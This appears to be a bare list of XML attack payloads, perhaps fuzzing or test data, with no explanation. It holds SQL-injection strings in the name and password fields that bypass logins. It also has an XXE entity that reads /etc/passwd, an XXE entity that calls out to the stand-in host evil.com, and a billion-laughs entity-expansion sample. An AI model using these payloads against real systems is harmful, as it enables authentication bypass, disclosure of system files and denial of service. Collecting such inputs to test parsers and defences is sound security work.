<user><name>John</name><password>' OR '1'='1'</password></user>
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://evil.com/xxe">]>
<foo>&xxe;</foo>
<user><name>' or '1'='1</name><password>password</password></user>
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;">]>
<root>&lol2;</root>
